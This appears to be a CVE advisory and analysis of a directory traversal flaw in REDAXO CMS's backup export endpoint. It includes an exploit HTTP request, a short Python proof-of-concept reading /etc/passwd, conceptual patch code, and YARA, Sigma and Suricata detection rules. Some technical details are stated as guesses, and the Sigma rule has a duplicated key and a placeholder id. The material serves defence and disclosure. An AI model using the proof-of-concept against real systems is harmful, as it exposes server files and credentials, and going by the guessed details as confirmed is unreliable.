CVE-2024-46212

Executive Summary

CVE-2024-46212 is a directory traversal vulnerability discovered in REDAXO CMS version 5.17.1. The flaw resides in the /index.php?page=backup/export component, allowing an authenticated attacker to traverse directories and read arbitrary files on the server. This can lead to the exposure of sensitive configuration files, database credentials, and source code. The vulnerability is publicly known with proof-of-concept code available, but no official patch has been released at the time of analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

REDAXO CMS is a PHP-based content management system. The vulnerability is not in a third-party package but in the core application logic. However, administrators should verify the integrity of their REDAXO installation and ensure no malicious modifications have been made. The lack of a patch means the supply chain risk is elevated, as users must rely on manual mitigation or custom patches.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. Based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – the endpoint is accessible over HTTP.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – authentication is required to access the backup/export functionality.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High (H) – arbitrary file read can expose sensitive data.
• Integrity (I): None (N) – no file modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability requires authentication, reducing the attack surface, but the potential for sensitive data exposure is high.

Deep Dive & Mechanics

The vulnerability exists in the backup export functionality of REDAXO CMS. The endpoint /index.php?page=backup/export is designed to allow administrators to export database backups and system files. The flaw is due to insufficient sanitization of the filename parameter (or similar input) used to specify which file to export. An attacker can inject path traversal sequences (e.g., ../../../etc/passwd) to read arbitrary files outside the intended backup directory.

The core issue is that the application does not validate that the requested file path is within the allowed backup directory. Instead, it directly passes the user-supplied path to file reading functions like file_get_contents() or readfile() without proper checks.

Attack Flow:

1. Authenticate to REDAXO CMS with valid credentials (e.g., admin user).
2. Send a crafted HTTP request to /index.php?page=backup/export&filename=../../../../etc/passwd.
3. The server reads and returns the contents of /etc/passwd.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// vulnerable.php
$filename = $_GET['filename'];
$backup_dir = '/var/www/backups/';
$filepath = $backup_dir . $filename;
if (file_exists($filepath)) {
    header('Content-Type: application/octet-stream');
    readfile($filepath);
}

Patched Code (Conceptual):

// patched.php
$filename = basename($_GET['filename']); // Remove path components
$backup_dir = '/var/www/backups/';
$filepath = $backup_dir . $filename;
if (file_exists($filepath) && strpos(realpath($filepath), realpath($backup_dir)) === 0) {
    header('Content-Type: application/octet-stream');
    readfile($filepath);
}

The patched version uses basename() to strip directory traversal sequences and realpath() to verify the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for a REDAXO CMS user with access to the backup/export functionality.
• Network access to the target REDAXO instance.

Exploitation Steps:

1. Log in to REDAXO CMS.
2. Craft a request to read /etc/passwd:

   GET /index.php?page=backup/export&filename=../../../../etc/passwd HTTP/1.1
   Host: target.com
   Cookie: [session cookie]
   

3. The server will return the contents of the file.

Proof-of-Concept (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login first (example)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/redaxo/index.php?page=login", data=login_data)

# Exploit
payload = "../../../../etc/passwd"
response = session.get(f"{target}/index.php?page=backup/export&filename={payload}")
print(response.text)

Blue Team

Detection:

• Monitor for HTTP requests to /index.php?page=backup/export with suspicious filename parameters containing ../ or absolute paths.
• Alert on unusual file reads from the backup endpoint (e.g., reading /etc/passwd, .env, wp-config.php).

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block path traversal patterns in the filename parameter.
• Restrict access to the backup/export endpoint to only trusted IP addresses.
• Apply input validation and sanitization as shown in the patched code example.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /index.php?page=backup/export with filename containing ../ or / characters.
  • Unusual file paths in the filename parameter (e.g., /etc/passwd, /proc/self/environ).
• File System:
  • Unexpected access to sensitive files like /etc/passwd, /etc/shadow, database configuration files.
• Logs:
  • Web server access logs showing requests to the backup endpoint with path traversal patterns.

Detection Engineering

YARA Rule

rule CVE_2024_46212_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting REDAXO CMS backup export"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46212"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $endpoint = "/index.php?page=backup/export"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-46212 REDAXO CMS Directory Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts in REDAXO CMS backup export endpoint
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/index.php?page=backup/export'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate backup file names containing dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46212 REDAXO CMS Directory Traversal"; flow:to_server,established; content:"/index.php?page=backup/export"; http_uri; content:"../"; http_uri; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Disable the backup/export functionality if not required.
   • Restrict access to the endpoint via .htaccess or web server configuration (e.g., allow only specific IPs).

2. Code Fix:

   • Apply input validation as shown in the patched code example.
   • Use basename() and realpath() to ensure the file path is within the allowed directory.

3. Long-term:

   • Monitor the REDAXO CMS project for an official patch.
   • Consider migrating to a supported CMS if no patch is released.

4. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable logging and alerting on the backup endpoint.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert